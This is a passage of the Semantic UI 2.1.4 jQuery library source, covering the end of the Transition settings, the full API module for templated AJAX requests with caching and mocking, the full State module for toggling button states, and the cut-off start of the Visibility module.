visible displayType : false, // animation duration animation : 'fade', duration : false, // new animations will occur after previous ones queue : true, metadata : { displayType: 'display' }, className : { animating : 'animating', disabled : 'disabled', hidden : 'hidden', inward : 'in', loading : 'loading', looping : 'looping', outward : 'out', transition : 'transition', visible : 'visible' }, // possible errors error: { noAnimation : 'There is no css animation matching the one you specified. Please make sure your css is vendor prefixed, and you have included transition css.', repeated : 'That animation is already occurring, cancelling repeated animation', method : 'The method you called is not defined', support : 'This browser does not support CSS animations' } }; })( jQuery, window , document ); /*! * # Semantic UI 2.1.4 - API * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ( $, window, document, undefined ) { "use strict"; $.api = $.fn.api = function(parameters) { var // use window context if none specified $allModules = $.isFunction(this) ? $(window) : $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.api.settings, parameters) : $.extend({}, $.fn.api.settings), // internal aliases namespace = settings.namespace, metadata = settings.metadata, selector = settings.selector, error = settings.error, className = settings.className, // define namespaces for modules eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, // element that creates request $module = $(this), $form = $module.closest(selector.form), // context used for state $context = (settings.stateContext) ? $(settings.stateContext) : $module, // request details ajaxSettings, requestSettings, url, data, requestStartTime, // standard module element = this, context = $context[0], instance = $module.data(moduleNamespace), module ; module = { initialize: function() { if(!methodInvoked) { module.bind.events(); } module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, instance) ; }, destroy: function() { module.verbose('Destroying previous module for', element); $module .removeData(moduleNamespace) .off(eventNamespace) ; }, bind: { events: function() { var triggerEvent = module.get.event() ; if( triggerEvent ) { module.verbose('Attaching API events to element', triggerEvent); $module .on(triggerEvent + eventNamespace, module.event.trigger) ; } else if(settings.on == 'now') { module.debug('Querying API endpoint immediately'); module.query(); } } }, decode: { json: function(response) { if(response !== undefined && typeof response == 'string') { try { response = JSON.parse(response); } catch(e) { // isnt json string } } return response; } }, read: { cachedResponse: function(url) { var response ; if(window.Storage === undefined) { module.error(error.noStorage); return; } response = sessionStorage.getItem(url); module.debug('Using cached response', url, response); response = module.decode.json(response); return false; } }, write: { cachedResponse: function(url, response) { if(response && response === '') { module.debug('Response empty, not caching', response); return; } if(window.Storage === undefined) { module.error(error.noStorage); return; } if( $.isPlainObject(response) ) { response = JSON.stringify(response); } sessionStorage.setItem(url, response); module.verbose('Storing cached response for url', url, response); } }, query: function() { if(module.is.disabled()) { module.debug('Element is disabled API request aborted'); return; } if(module.is.loading()) { if(settings.interruptRequests) { module.debug('Interrupting previous request'); module.abort(); } else { module.debug('Cancelling request, previous request is still pending'); return; } } // pass element metadata to url (value, text) if(settings.defaultData) { $.extend(true, settings.urlData, module.get.defaultData()); } // Add form content if(settings.serializeForm) { settings.data = module.add.formData(settings.data); } // call beforesend and get any settings changes requestSettings = module.get.settings(); // check if before send cancelled request if(requestSettings === false) { module.cancelled = true; module.error(error.beforeSend); return; } else { module.cancelled = false; } // get url url = module.get.templatedURL(); if(!url && !module.is.mocked()) { module.error(error.missingURL); return; } // replace variables url = module.add.urlData( url ); // missing url parameters if( !url && !module.is.mocked()) { return; } // look for jQuery ajax parameters in settings ajaxSettings = $.extend(true, {}, settings, { type : settings.method || settings.type, data : data, url : settings.base + url, beforeSend : settings.beforeXHR, success : function() {}, failure : function() {}, complete : function() {} }); module.debug('Querying URL', ajaxSettings.url); module.verbose('Using AJAX settings', ajaxSettings); if(settings.cache === 'local' && module.read.cachedResponse(url)) { module.debug('Response returned from local cache'); module.request = module.create.request(); module.request.resolveWith(context, [ module.read.cachedResponse(url) ]); return; } if( !settings.throttle ) { module.debug('Sending request', data, ajaxSettings.method); module.send.request(); } else { if(!settings.throttleFirstRequest && !module.timer) { module.debug('Sending request', data, ajaxSettings.method); module.send.request(); module.timer = setTimeout(function(){}, settings.throttle); } else { module.debug('Throttling request', settings.throttle); clearTimeout(module.timer); module.timer = setTimeout(function() { if(module.timer) { delete module.timer; } module.debug('Sending throttled request', data, ajaxSettings.method); module.send.request(); }, settings.throttle); } } }, should: { removeError: function() { return ( settings.hideError === true || (settings.hideError === 'auto' && !module.is.form()) ); } }, is: { disabled: function() { return ($module.filter(selector.disabled).length > 0); }, form: function() { return $module.is('form') || $context.is('form'); }, mocked: function() { return (settings.mockResponse || settings.mockResponseAsync); }, input: function() { return $module.is('input'); }, loading: function() { return (module.request && module.request.state() == 'pending'); }, abortedRequest: function(xhr) { if(xhr && xhr.readyState !== undefined && xhr.readyState === 0) { module.verbose('XHR request determined to be aborted'); return true; } else { module.verbose('XHR request was not aborted'); return false; } }, validResponse: function(response) { if( (settings.dataType !== 'json' && settings.dataType !== 'jsonp') || !$.isFunction(settings.successTest) ) { module.verbose('Response is not JSON, skipping validation', settings.successTest, response); return true; } module.debug('Checking JSON returned success', settings.successTest, response); if( settings.successTest(response) ) { module.debug('Response passed success test', response); return true; } else { module.debug('Response failed success test', response); return false; } } }, was: { cancelled: function() { return (module.cancelled || false); }, succesful: function() { return (module.request && module.request.state() == 'resolved'); }, failure: function() { return (module.request && module.request.state() == 'rejected'); }, complete: function() { return (module.request && (module.request.state() == 'resolved' || module.request.state() == 'rejected') ); } }, add: { urlData: function(url, urlData) { var requiredVariables, optionalVariables ; if(url) { requiredVariables = url.match(settings.regExp.required); optionalVariables = url.match(settings.regExp.optional); urlData = urlData || settings.urlData; if(requiredVariables) { module.debug('Looking for required URL variables', requiredVariables); $.each(requiredVariables, function(index, templatedString) { var // allow legacy {$var} style variable = (templatedString.indexOf('$') !== -1) ? templatedString.substr(2, templatedString.length - 3) : templatedString.substr(1, templatedString.length - 2), value = ($.isPlainObject(urlData) && urlData[variable] !== undefined) ? urlData[variable] : ($module.data(variable) !== undefined) ? $module.data(variable) : ($context.data(variable) !== undefined) ? $context.data(variable) : urlData[variable] ; // remove value if(value === undefined) { module.error(error.requiredParameter, variable, url); url = false; return false; } else { module.verbose('Found required variable', variable, value); value = (settings.encodeParameters) ? module.get.urlEncodedValue(value) : value ; url = url.replace(templatedString, value); } }); } if(optionalVariables) { module.debug('Looking for optional URL variables', requiredVariables); $.each(optionalVariables, function(index, templatedString) { var // allow legacy {/$var} style variable = (templatedString.indexOf('$') !== -1) ? templatedString.substr(3, templatedString.length - 4) : templatedString.substr(2, templatedString.length - 3), value = ($.isPlainObject(urlData) && urlData[variable] !== undefined) ? urlData[variable] : ($module.data(variable) !== undefined) ? $module.data(variable) : ($context.data(variable) !== undefined) ? $context.data(variable) : urlData[variable] ; // optional replacement if(value !== undefined) { module.verbose('Optional variable Found', variable, value); url = url.replace(templatedString, value); } else { module.verbose('Optional variable not found', variable); // remove preceding slash if set if(url.indexOf('/' + templatedString) !== -1) { url = url.replace('/' + templatedString, ''); } else { url = url.replace(templatedString, ''); } } }); } } return url; }, formData: function(data) { var canSerialize = ($.fn.serializeObject !== undefined), formData = (canSerialize) ? $form.serializeObject() : $form.serialize(), hasOtherData ; data = data || settings.data; hasOtherData = $.isPlainObject(data); if(hasOtherData) { if(canSerialize) { module.debug('Extending existing data with form data', data, formData); data = $.extend(true, {}, data, formData); } else { module.error(error.missingSerialize); module.debug('Cant extend data. Replacing data with form data', data, formData); data = formData; } } else { module.debug('Adding form data', formData); data = formData; } return data; } }, send: { request: function() { module.set.loading(); module.request = module.create.request(); if( module.is.mocked() ) { module.mockedXHR = module.create.mockedXHR(); } else { module.xhr = module.create.xhr(); } settings.onRequest.call(context, module.request, module.xhr); } }, event: { trigger: function(event) { module.query(); if(event.type == 'submit' || event.type == 'click') { event.preventDefault(); } }, xhr: { always: function() { // nothing special }, done: function(response, textStatus, xhr) { var context = this, elapsedTime = (new Date().getTime() - requestStartTime), timeLeft = (settings.loadingDuration - elapsedTime), translatedResponse = ( $.isFunction(settings.onResponse) ) ? settings.onResponse.call(context, $.extend(true, {}, response)) : false ; timeLeft = (timeLeft > 0) ? timeLeft : 0 ; if(translatedResponse) { module.debug('Modified API response in onResponse callback', settings.onResponse, translatedResponse, response); response = translatedResponse; } if(timeLeft > 0) { module.debug('Response completed early delaying state change by', timeLeft); } setTimeout(function() { if( module.is.validResponse(response) ) { module.request.resolveWith(context, [response, xhr]); } else { module.request.rejectWith(context, [xhr, 'invalid']); } }, timeLeft); }, fail: function(xhr, status, httpMessage) { var context = this, elapsedTime = (new Date().getTime() - requestStartTime), timeLeft = (settings.loadingDuration - elapsedTime) ; timeLeft = (timeLeft > 0) ? timeLeft : 0 ; if(timeLeft > 0) { module.debug('Response completed early delaying state change by', timeLeft); } setTimeout(function() { if( module.is.abortedRequest(xhr) ) { module.request.rejectWith(context, [xhr, 'aborted', httpMessage]); } else { module.request.rejectWith(context, [xhr, 'error', status, httpMessage]); } }, timeLeft); } }, request: { done: function(response, xhr) { module.debug('Successful API Response', response); if(settings.cache === 'local' && url) { module.write.cachedResponse(url, response); module.debug('Saving server response locally', module.cache); } settings.onSuccess.call(context, response, $module, xhr); }, complete: function(firstParameter, secondParameter) { var xhr, response ; // have to guess callback parameters based on request success if( module.was.succesful() ) { response = firstParameter; xhr = secondParameter; } else { xhr = firstParameter; response = module.get.responseFromXHR(xhr); } module.remove.loading(); settings.onComplete.call(context, response, $module, xhr); }, fail: function(xhr, status, httpMessage) { var // pull response from xhr if available response = module.get.responseFromXHR(xhr), errorMessage = module.get.errorFromRequest(response, status, httpMessage) ; if(status == 'aborted') { module.debug('XHR Aborted (Most likely caused by page navigation or CORS Policy)', status, httpMessage); settings.onAbort.call(context, status, $module, xhr); } else if(status == 'invalid') { module.debug('JSON did not pass success test. A server-side error has most likely occurred', response); } else if(status == 'error') { if(xhr !== undefined) { module.debug('XHR produced a server error', status, httpMessage); // make sure we have an error to display to console if( xhr.status != 200 && httpMessage !== undefined && httpMessage !== '') { module.error(error.statusMessage + httpMessage, ajaxSettings.url); } settings.onError.call(context, errorMessage, $module, xhr); } } if(settings.errorDuration && status !== 'aborted') { module.debug('Adding error state'); module.set.error(); if( module.should.removeError() ) { setTimeout(module.remove.error, settings.errorDuration); } } module.debug('API Request failed', errorMessage, xhr); settings.onFailure.call(context, response, $module, xhr); } } }, create: { request: function() { // api request promise return $.Deferred() .always(module.event.request.complete) .done(module.event.request.done) .fail(module.event.request.fail) ; }, mockedXHR: function () { var // xhr does not simulate these properties of xhr but must return them textStatus = false, status = false, httpMessage = false, asyncCallback, response, mockedXHR ; mockedXHR = $.Deferred() .always(module.event.xhr.complete) .done(module.event.xhr.done) .fail(module.event.xhr.fail) ; if(settings.mockResponse) { if( $.isFunction(settings.mockResponse) ) { module.debug('Using mocked callback returning response', settings.mockResponse); response = settings.mockResponse.call(context, settings); } else { module.debug('Using specified response', settings.mockResponse); response = settings.mockResponse; } // simulating response mockedXHR.resolveWith(context, [ response, textStatus, { responseText: response }]); } else if( $.isFunction(settings.mockResponseAsync) ) { asyncCallback = function(response) { module.debug('Async callback returned response', response); if(response) { mockedXHR.resolveWith(context, [ response, textStatus, { responseText: response }]); } else { mockedXHR.rejectWith(context, [{ responseText: response }, status, httpMessage]); } }; module.debug('Using async mocked response', settings.mockResponseAsync); settings.mockResponseAsync.call(context, settings, asyncCallback); } return mockedXHR; }, xhr: function() { var xhr ; // ajax request promise xhr = $.ajax(ajaxSettings) .always(module.event.xhr.always) .done(module.event.xhr.done) .fail(module.event.xhr.fail) ; module.verbose('Created server request', xhr); return xhr; } }, set: { error: function() { module.verbose('Adding error state to element', $context); $context.addClass(className.error); }, loading: function() { module.verbose('Adding loading state to element', $context); $context.addClass(className.loading); requestStartTime = new Date().getTime(); } }, remove: { error: function() { module.verbose('Removing error state from element', $context); $context.removeClass(className.error); }, loading: function() { module.verbose('Removing loading state from element', $context); $context.removeClass(className.loading); } }, get: { responseFromXHR: function(xhr) { return $.isPlainObject(xhr) ? (settings.dataType == 'json' || settings.dataType == 'jsonp') ? module.decode.json(xhr.responseText) : xhr.responseText : false ; }, errorFromRequest: function(response, status, httpMessage) { return ($.isPlainObject(response) && response.error !== undefined) ? response.error // use json error message : (settings.error[status] !== undefined) // use server error message ? settings.error[status] : httpMessage ; }, request: function() { return module.request || false; }, xhr: function() { return module.xhr || false; }, settings: function() { var runSettings ; runSettings = settings.beforeSend.call(context, settings); if(runSettings) { if(runSettings.success !== undefined) { module.debug('Legacy success callback detected', runSettings); module.error(error.legacyParameters, runSettings.success); runSettings.onSuccess = runSettings.success; } if(runSettings.failure !== undefined) { module.debug('Legacy failure callback detected', runSettings); module.error(error.legacyParameters, runSettings.failure); runSettings.onFailure = runSettings.failure; } if(runSettings.complete !== undefined) { module.debug('Legacy complete callback detected', runSettings); module.error(error.legacyParameters, runSettings.complete); runSettings.onComplete = runSettings.complete; } } if(runSettings === undefined) { module.error(error.noReturnedValue); } return (runSettings !== undefined) ? runSettings : settings ; }, urlEncodedValue: function(value) { var decodedValue = window.decodeURIComponent(value), encodedValue = window.encodeURIComponent(value), alreadyEncoded = (decodedValue !== value) ; if(alreadyEncoded) { module.debug('URL value is already encoded, avoiding double encoding', value); return value; } module.verbose('Encoding value using encodeURIComponent', value, encodedValue); return encodedValue; }, defaultData: function() { var data = {} ; if( !$.isWindow(element) ) { if( module.is.input() ) { data.value = $module.val(); } else if( !module.is.form() ) { } else { data.text = $module.text(); } } return data; }, event: function() { if( $.isWindow(element) || settings.on == 'now' ) { module.debug('API called without element, no events attached'); return false; } else if(settings.on == 'auto') { if( $module.is('input') ) { return (element.oninput !== undefined) ? 'input' : (element.onpropertychange !== undefined) ? 'propertychange' : 'keyup' ; } else if( $module.is('form') ) { return 'submit'; } else { return 'click'; } } else { return settings.on; } }, templatedURL: function(action) { action = action || $module.data(metadata.action) || settings.action || false; url = $module.data(metadata.url) || settings.url || false; if(url) { module.debug('Using specified url', url); return url; } if(action) { module.debug('Looking up url for action', action, settings.api); if(settings.api[action] === undefined && !module.is.mocked()) { module.error(error.missingAction, settings.action, settings.api); return; } url = settings.api[action]; } else if( module.is.form() ) { url = $module.attr('action') || $context.attr('action') || false; module.debug('No url or action specified, defaulting to form action', url); } return url; } }, abort: function() { var xhr = module.get.xhr() ; if( xhr && xhr.state() !== 'resolved') { module.debug('Cancelling API request'); xhr.abort(); } }, // reset state reset: function() { module.remove.error(); module.remove.loading(); }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', //'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.api.settings = { name : 'API', namespace : 'api', debug : false, verbose : false, performance : true, // object containing all templates endpoints api : {}, // whether to cache responses cache : true, // whether new requests should abort previous requests interruptRequests : true, // event binding on : 'auto', // context for applying state classes stateContext : false, // duration for loading state loadingDuration : 0, // whether to hide errors after a period of time hideError : 'auto', // duration for error state errorDuration : 2000, // whether parameters should be encoded with encodeURIComponent encodeParameters : true, // API action to use action : false, // templated URL to use url : false, // base URL to apply to all endpoints base : '', // data that will urlData : {}, // whether to add default data to url data defaultData : true, // whether to serialize closest form serializeForm : false, // how long to wait before request should occur throttle : 0, // whether to throttle first request or only repeated throttleFirstRequest : true, // standard ajax settings method : 'get', data : {}, dataType : 'json', // mock response mockResponse : false, mockResponseAsync : false, // callbacks before request beforeSend : function(settings) { return settings; }, beforeXHR : function(xhr) {}, onRequest : function(promise, xhr) {}, // after request onResponse : false, // function(response) { }, // response was successful, if JSON passed validation onSuccess : function(response, $module) {}, // request finished without aborting onComplete : function(response, $module) {}, // failed JSON success test onFailure : function(response, $module) {}, // server error onError : function(errorMessage, $module) {}, // request aborted onAbort : function(errorMessage, $module) {}, successTest : false, // errors error : { beforeSend : 'The before send function has aborted the request', error : 'There was an error with your request', exitConditions : 'API Request Aborted. Exit conditions met', JSONParse : 'JSON could not be parsed during error handling', legacyParameters : 'You are using legacy API success callback names', method : 'The method you called is not defined', missingAction : 'API action used but no url was defined', missingSerialize : 'jquery-serialize-object is required to add form data to an existing data object', missingURL : 'No URL specified for api event', noReturnedValue : 'The beforeSend callback must return a settings object, beforeSend ignored.', noStorage : 'Caching responses locally requires session storage', parseError : 'There was an error parsing your request', requiredParameter : 'Missing a required URL parameter: ', statusMessage : 'Server gave an error: ', timeout : 'Your request timed out' }, regExp : { required : /\{\$*[A-z0-9]+\}/g, optional : /\{\/\$*[A-z0-9]+\}/g, }, className: { loading : 'loading', error : 'error' }, selector: { disabled : '.disabled', form : 'form' }, metadata: { action : 'action', url : 'url' } }; })( jQuery, window , document ); /*! * # Semantic UI 2.1.4 - State * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ( $, window, document, undefined ) { "use strict"; $.fn.state = function(parameters) { var $allModules = $(this), moduleSelector = $allModules.selector || '', hasTouch = ('ontouchstart' in document.documentElement), time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.state.settings, parameters) : $.extend({}, $.fn.state.settings), error = settings.error, metadata = settings.metadata, className = settings.className, namespace = settings.namespace, states = settings.states, text = settings.text, eventNamespace = '.' + namespace, moduleNamespace = namespace + '-module', $module = $(this), element = this, instance = $module.data(moduleNamespace), module ; module = { initialize: function() { module.verbose('Initializing module'); // allow module to guess desired state based on element if(settings.automatic) { module.add.defaults(); } // bind events with delegated events if(settings.context && moduleSelector !== '') { $(settings.context) .on(moduleSelector, 'mouseenter' + eventNamespace, module.change.text) .on(moduleSelector, 'mouseleave' + eventNamespace, module.reset.text) .on(moduleSelector, 'click' + eventNamespace, module.toggle.state) ; } else { $module .on('mouseenter' + eventNamespace, module.change.text) .on('mouseleave' + eventNamespace, module.reset.text) .on('click' + eventNamespace, module.toggle.state) ; } module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.verbose('Destroying previous module', instance); $module .off(eventNamespace) .removeData(moduleNamespace) ; }, refresh: function() { module.verbose('Refreshing selector cache'); $module = $(element); }, add: { defaults: function() { var userStates = parameters && $.isPlainObject(parameters.states) ? parameters.states : {} ; $.each(settings.defaults, function(type, typeStates) { if( module.is[type] !== undefined && module.is[type]() ) { module.verbose('Adding default states', type, element); $.extend(settings.states, typeStates, userStates); } }); } }, is: { active: function() { return $module.hasClass(className.active); }, loading: function() { return $module.hasClass(className.loading); }, inactive: function() { return !( $module.hasClass(className.active) ); }, state: function(state) { if(className[state] === undefined) { return false; } return $module.hasClass( className[state] ); }, enabled: function() { return !( $module.is(settings.filter.active) ); }, disabled: function() { return ( $module.is(settings.filter.active) ); }, textEnabled: function() { return !( $module.is(settings.filter.text) ); }, // definitions for automatic type detection button: function() { return $module.is('.button:not(a, .submit)'); }, input: function() { return $module.is('input'); }, progress: function() { return $module.is('.ui.progress'); } }, allow: function(state) { module.debug('Now allowing state', state); states[state] = true; }, disallow: function(state) { module.debug('No longer allowing', state); states[state] = false; }, allows: function(state) { return states[state] || false; }, enable: function() { $module.removeClass(className.disabled); }, disable: function() { $module.addClass(className.disabled); }, setState: function(state) { if(module.allows(state)) { $module.addClass( className[state] ); } }, removeState: function(state) { if(module.allows(state)) { $module.removeClass( className[state] ); } }, toggle: { state: function() { var apiRequest, requestCancelled ; if( module.allows('active') && module.is.enabled() ) { module.refresh(); if($.fn.api !== undefined) { apiRequest = $module.api('get request'); requestCancelled = $module.api('was cancelled'); if( requestCancelled ) { module.debug('API Request cancelled by beforesend'); settings.activateTest = function(){ return false; }; settings.deactivateTest = function(){ return false; }; } else if(apiRequest) { module.listenTo(apiRequest); return; } } module.change.state(); } } }, listenTo: function(apiRequest) { module.debug('API request detected, waiting for state signal', apiRequest); if(apiRequest) { if(text.loading) { module.update.text(text.loading); } $.when(apiRequest) .then(function() { if(apiRequest.state() == 'resolved') { module.debug('API request succeeded'); settings.activateTest = function(){ return true; }; settings.deactivateTest = function(){ return true; }; } else { module.debug('API request failed'); settings.activateTest = function(){ return false; }; settings.deactivateTest = function(){ return false; }; } module.change.state(); }) ; } }, // checks whether active/inactive state can be given change: { state: function() { module.debug('Determining state change direction'); // inactive to active change if( module.is.inactive() ) { module.activate(); } else { module.deactivate(); } if(settings.sync) { module.sync(); } settings.onChange.call(element); }, text: function() { if( module.is.textEnabled() ) { if(module.is.disabled() ) { module.verbose('Changing text to disabled text', text.hover); module.update.text(text.disabled); } else if( module.is.active() ) { if(text.hover) { module.verbose('Changing text to hover text', text.hover); module.update.text(text.hover); } else if(text.deactivate) { module.verbose('Changing text to deactivating text', text.deactivate); module.update.text(text.deactivate); } } else { if(text.hover) { module.verbose('Changing text to hover text', text.hover); module.update.text(text.hover); } else if(text.activate){ module.verbose('Changing text to activating text', text.activate); module.update.text(text.activate); } } } } }, activate: function() { if( settings.activateTest.call(element) ) { module.debug('Setting state to active'); $module .addClass(className.active) ; module.update.text(text.active); settings.onActivate.call(element); } }, deactivate: function() { if( settings.deactivateTest.call(element) ) { module.debug('Setting state to inactive'); $module .removeClass(className.active) ; module.update.text(text.inactive); settings.onDeactivate.call(element); } }, sync: function() { module.verbose('Syncing other buttons to current state'); if( module.is.active() ) { $allModules .not($module) .state('activate'); } else { $allModules .not($module) .state('deactivate') ; } }, get: { text: function() { return (settings.selector.text) ? $module.find(settings.selector.text).text() : $module.html() ; }, textFor: function(state) { return text[state] || false; } }, flash: { text: function(text, duration, callback) { var previousText = module.get.text() ; module.debug('Flashing text message', text, duration); text = text || settings.text.flash; duration = duration || settings.flashDuration; callback = callback || function() {}; module.update.text(text); setTimeout(function(){ module.update.text(previousText); callback.call(element); }, duration); } }, reset: { // on mouseout sets text to previous value text: function() { var activeText = text.active || $module.data(metadata.storedText), inactiveText = text.inactive || $module.data(metadata.storedText) ; if( module.is.textEnabled() ) { if( module.is.active() && activeText) { module.verbose('Resetting active text', activeText); module.update.text(activeText); } else if(inactiveText) { module.verbose('Resetting inactive text', activeText); module.update.text(inactiveText); } } } }, update: { text: function(text) { var currentText = module.get.text() ; if(text && text !== currentText) { module.debug('Updating text', text); if(settings.selector.text) { $module .data(metadata.storedText, text) .find(settings.selector.text) .text(text) ; } else { $module .data(metadata.storedText, text) .html(text) ; } } else { module.debug('Text is already set, ignoring update', text); } } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.state.settings = { // module info name : 'State', // debug output debug : false, // verbose debug output verbose : false, // namespace for events namespace : 'state', // debug data includes performance performance : true, // callback occurs on state change onActivate : function() {}, onDeactivate : function() {}, onChange : function() {}, // state test functions activateTest : function() { return true; }, deactivateTest : function() { return true; }, // whether to automatically map default states automatic : true, // activate / deactivate changes all elements instantiated at same time sync : false, // default flash text duration, used for temporarily changing text of an element flashDuration : 1000, // selector filter filter : { text : '.loading, .disabled', active : '.disabled' }, context : false, // error error: { beforeSend : 'The before send function has cancelled state change', method : 'The method you called is not defined.' }, // metadata metadata: { promise : 'promise', storedText : 'stored-text' }, // change class on state className: { active : 'active', disabled : 'disabled', error : 'error', loading : 'loading', success : 'success', warning : 'warning' }, selector: { // selector for text node text: false }, defaults : { input: { disabled : true, loading : true, active : true }, button: { disabled : true, loading : true, active : true, }, progress: { active : true, success : true, warning : true, error : true } }, states : { active : true, disabled : true, error : true, loading : true, success : true, warning : true }, text : { disabled : false, flash : false, hover : false, active : false, inactive : false, activate : false, deactivate : false } }; })( jQuery, window , document ); /*! * # Semantic UI 2.1.4 - Visibility * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ( $, window, document, undefined ) { "use strict"; $.fn.visibility = function(parameters) { var $allModules = $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.visibility.settings, parameters) : $.extend({}, $.fn.visibility.settings), className = settings.className, namespace = settings.namespace, error = settings.error, metadata = 